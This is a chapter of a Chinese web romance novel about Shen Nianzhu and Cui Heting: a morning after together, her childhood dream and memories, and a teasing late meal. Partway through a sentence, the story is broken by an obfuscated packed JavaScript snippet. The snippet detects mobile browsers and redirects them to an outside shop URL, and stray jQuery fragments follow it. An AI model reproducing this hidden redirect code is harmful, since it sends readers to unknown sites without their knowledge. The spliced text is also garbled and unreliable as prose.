沈念珠都习惯了崔贺亭满嘴跑火车明着骚了,他突然来这么一句,让她愣了许久才反应过来,脸色瞬间爆红,就连脖颈也飘上了朵朵红云。
对上那双漆黑的眸子,饶是沈念珠再怎么成熟,也免不了一阵羞-耻,视线四下飘忽,看看这看看那,就是不敢和崔贺亭对视。
她败了。
比起厚颜无-耻,崔贺亭说是第二,这个世界上再也没有人敢称第一了。
“骑车不开心吗?我还以为……”
沈念珠羞-耻地眼尾都泛起可疑的红,一双杏眼里没了平日的清冷傲气,水凌凌地宛如一汪月潭,嗔怪地瞪着他。
她伸手勾住崔贺亭的颈项,挺身咬住他的唇,让他再也说不出后面的话。
崔贺亭一怔,眸子得逞地轻眯了起来,嘴角忍不住上翘。
他温柔地托起沈念珠的后脑勺,反客为主,含|着她饱满的下|唇|瓣轻轻地吻,一声满足的喟叹从齿缝中倾泻而出。
骨节分明的手指轻轻拂过沈念珠的眼下,一抹青黑色在白皙的皮肤上格外显眼。
昨夜闹到天边泛起鱼肚白,两人才将将睡下。
这才刚8点,她又醒了过来,满打满算不到3个小时,连基本的睡眠时间都没能保证。
崔贺亭知道沈念珠睡眠质量不太好,一旦醒了,就很难入睡,但还是俯身用鼻头蹭了蹭她挺翘的鼻尖,放柔了声音哄着:“对,是我虚,宝宝陪我再睡一会儿,好不好?”
情绪最激昂时,什么爱称都互相喊过了。
可清醒时分的一声“宝宝”,让沈念珠控制不住地麻了半边身子。
她抿了抿唇,轻轻“嗯”了一声。
“你都说自己虚了,那我就宠你一次。”她嘴上不肯服输。
崔贺亭笑了笑,忍不住又亲了亲她,才重新躺回床上,向她张开了双手。
沈念珠左蹭蹭右蹭蹭,直到找到了个最舒服的姿势,才倚靠在他的怀里,闭上眼。
沈念珠本来以为自己肯定睡不着。
可不知道是卧室里太安静,还是崔贺亭身上隐隐散发出来的混杂着沐浴露的冷调木香太催眠,她竟不知不觉地,再次沉入梦境。
梦里,她又变成了那个梳着羊角辫、个子矮矮的、还没开始长大的小女孩。
楼下小卖部的阿婆勾了勾她的鼻子,笑眯眯地从桌上抓了一-大把糖果,塞进她怀里:“念珠从小就是美人坯子,长大了肯定会变成大美人。来,接住,阿婆给你糖吃,祝我们念珠明年事事如意,喜笑颜开。”
“谢谢阿婆。”
小念珠低头,看着怀里那些从来没见过的糖果包装,惊讶地瞠目结舌。
圆圆的眼睛像是洗干净了的黑葡萄,又大又亮,冬日里罕见的暖阳反射进她的眼底,她笑眯眯的,整个人沐浴在温暖的柔和光晕里,皮肤不见丝毫瑕疵。
乍一看,简直比年画上的娃娃还好看。
阿婆忍不住夸赞:“我们念珠笑起来更好看了,你多笑一笑,老天爷也会更眷顾你,给你更多的福气。”
“嗯!”
小念珠重重点头,兴高采烈地抱着糖果,往家的方向跑。
然而,一个不注意,她左脚踩上右脚,“噗通”一声,狠狠地摔在了地上,怀里的糖果也撒了一地。
小念珠的两只小手擦在地上,石子儿在手心划出几道血痕,灰尘和泥土争先恐后地涌入,有些刺痛。
她身体一颤,却顾不上喊疼,下意识往身后看了一眼,眼睛害怕地闭上。
然而,双眼一片漆黑时,小念珠感受到的,只有落在脸上的近乎温柔的风,和极致暖和的阳光。
她睁开眼,身后没有可怖的巴掌耳光,也没有面目可憎的陈宏,映入眼底的只有撒了一地的糖果。
小念珠愣了两秒,自己从地上爬了起来,耐心地把糖果一颗颗捡了回来,嘟囔着:“我已经长大了,阿婆也说我是一个有福气的好孩子。摔倒就摔倒了,可以自己爬起来的。”
捡起所有糖,小念珠一路朝着家的方向跑去。
这一次,等待她的只有无尽的甜。
……
再睡醒时,夕阳都快落山了。
旁边的床早就凉了,沈念珠茫然地眨了眨眼,抱着被子坐起来,忽然有种时间观念被彻底颠倒的乱序感。
摩挲着找到手机,解锁一看,竟然已经下午4点了。
她居然睡了8个小时?!
沈念珠都不记得,自己前一次睡够8小时是多少年前了。
似乎还是高考刚结束的那个月,出成绩的前两天,班主任打电话过来,恭喜她拿到了状元,问她是想去清大还是京大,亦或者国内其他的名校。
当天,清大招生办的老师热情登门,许诺了无数优渥的条件。
沈念珠直接签下了报名清大的合同。
招生办的老师离开后,她激动地握住沈琴的手,开心地说:“妈妈,我做到了。你放心,就算没有陈宏,以后我也可以让你过得很幸福!”
沈琴喜极而泣,第一次把沈念珠抱进了怀里,眼泪“啪嗒啪嗒”地往下落。
当晚,沈念珠第一次褪-去了十年寒窗苦读的疲惫,从天黑睡到第二天天黑。
沈念珠在班主任的建议下,读了最有前景的人工智能专业。
她本以为她的人生能一片大好,直到……
睡得太久,意识本就不太清晰,又恍然间回忆起往事,沈念珠只觉得一阵头痛欲裂。
她眨了眨干涩地眼睛,掀开被子下床,去卫生间里洗漱。
洗漱台上已经摆放了一件全新的洗漱用品,电动牙刷上已经挤上了牙膏,干净的毛巾悬挂在一旁。
沈念珠拧开水龙头,温热的水流如丝绸般滑过手指,她顿了顿,反应过来这些都是谁准备的之后,才开始刷牙。
边刷牙,边盯着镜子里的自己。
沈念珠本以为睡了这么久,她的脸,尤其是眼睛,肯定已经肿了,脸色肯定也不好看。
没想到,镜子里倒映出来的脸庞,眼神清澈干净,双颊红润,唇-瓣不染而朱,看着格外的有气色。
沈念珠愣了两秒,有些意外。
洗漱完,沈念珠拉开衣领,果不其然,身上的皮肤印满了暧昧的红。
她嫌弃地脱去穿了一晚上的浴袍,又洗了个澡,裹着浴巾出来时,才看到沙发上放着一个印着香奶奶logo的包装袋,里面装着一套符合她平时风格的新衣服
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957862|193212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
除了一群,还有一套内|衣裤。
全都是她的尺码。
沈念珠撇了撇唇角,也懒得去衣帽间,直接在卧室里换了起来。
崔贺亭推门进来时,看到的正好是这一幕。
他瞳孔缩了缩,脚步猛地停住,喉结控制不住地上下滚动。
等沈念珠收拾妥当,转身对上他的视线时,疑惑地挑了挑眉,“你愣着干嘛?”
在得罪徐永泉前,沈念珠也是圈子里新兴的青年模特,走T台时换衣速度快是基础到不能再基础的功夫。
房门被推开时,沈念珠都穿的差不多了,这也值得崔贺亭发愣这么久?
她勾了勾唇角,提步上前,挑|逗般拍了拍男人的侧脸,“怎么,被我美晕了?”
“别害羞,人之常情。”
崔贺亭笑了笑,就喜欢看她这幅自信傲气的模样,一如当年她当着无数高三学子的面,张狂地撕下他的照片的样子。
被她打脸,被她羞辱。
他好爽。
崔贺亭敛目,没敢说出心里的话,否则可以预料到的是,某人肯定会和喵喵叫一样炸开毛,气得很久不想再搭理他。
他轻咳一声,压下嗓子里的哑意,“我准备了早餐,去尝尝合不合胃口?”
“早餐?”沈念珠指着落地窗外的夕阳,嫌弃地打量他,“天还没黑,我现在送你去精神科看看脑子,还来得及。”
兴许是待得久了,沈念珠也学了他那一套毒死人不偿命的说话风格。
崔贺亭弯了弯唇,解释:“广义上来讲,早餐是人刚睡醒时吃的餐食,所以我这么叫也没错。”
沈念珠冷哼一声:“就你会诡辩。”
说话间,两人已经来到饿了餐厅,偌大的餐桌上摆放着各式各样的餐点,中餐、西餐等应有尽有。
她大致扫了一遍,发现大多数都是不容易发胖的食物,但又能保证可以摄入足够的营养。
表情略微和缓了些,沈念珠拉开凳子坐下,慢悠悠地问:“这是你自己做的?”
“当然不是。”崔贺亭也没揽功,径直在她旁边坐下,“度假酒店有专门的管家和厨师,这是我吩咐厨师做的,没放太多辣椒和糖,你尝尝合不合口味。”
沈念珠慢吞吞地嚼着西兰花。
她情不自禁地回忆起来,从昨天崔贺亭抱着她离开卡丁车馆,到现在的种种,每一件事儿都像是提前演练过数十次,相当熟练。
她语气淡下来,忍不住开口:“崔二少还真是闲情逸致。做医生的都这么忙了,还有空常来这儿逗小美人儿欢心。”
崔贺亭一怔,一时间没反应过来,“嗯?”
沈念珠平静说:“挤牙膏,买衣服,准备早餐,崔二少做了不止一次了吧,知道该怎么讨女孩儿欢心。”
声音平静无波,语气却带着明显的滞涩。
崔贺亭闻言,先是一愣。
他抬眼看向沈念珠,她下颌线绷得有些紧,眼尾垂着,耳尖泛着薄红。
他愣了两秒,才后知后觉反应过来,嘴角先是不受控制地向上跳挑了挑,眼底漫开了细碎的笑意,连英挺的眉峰都软了下来。
原来,她也并不是全然不在乎。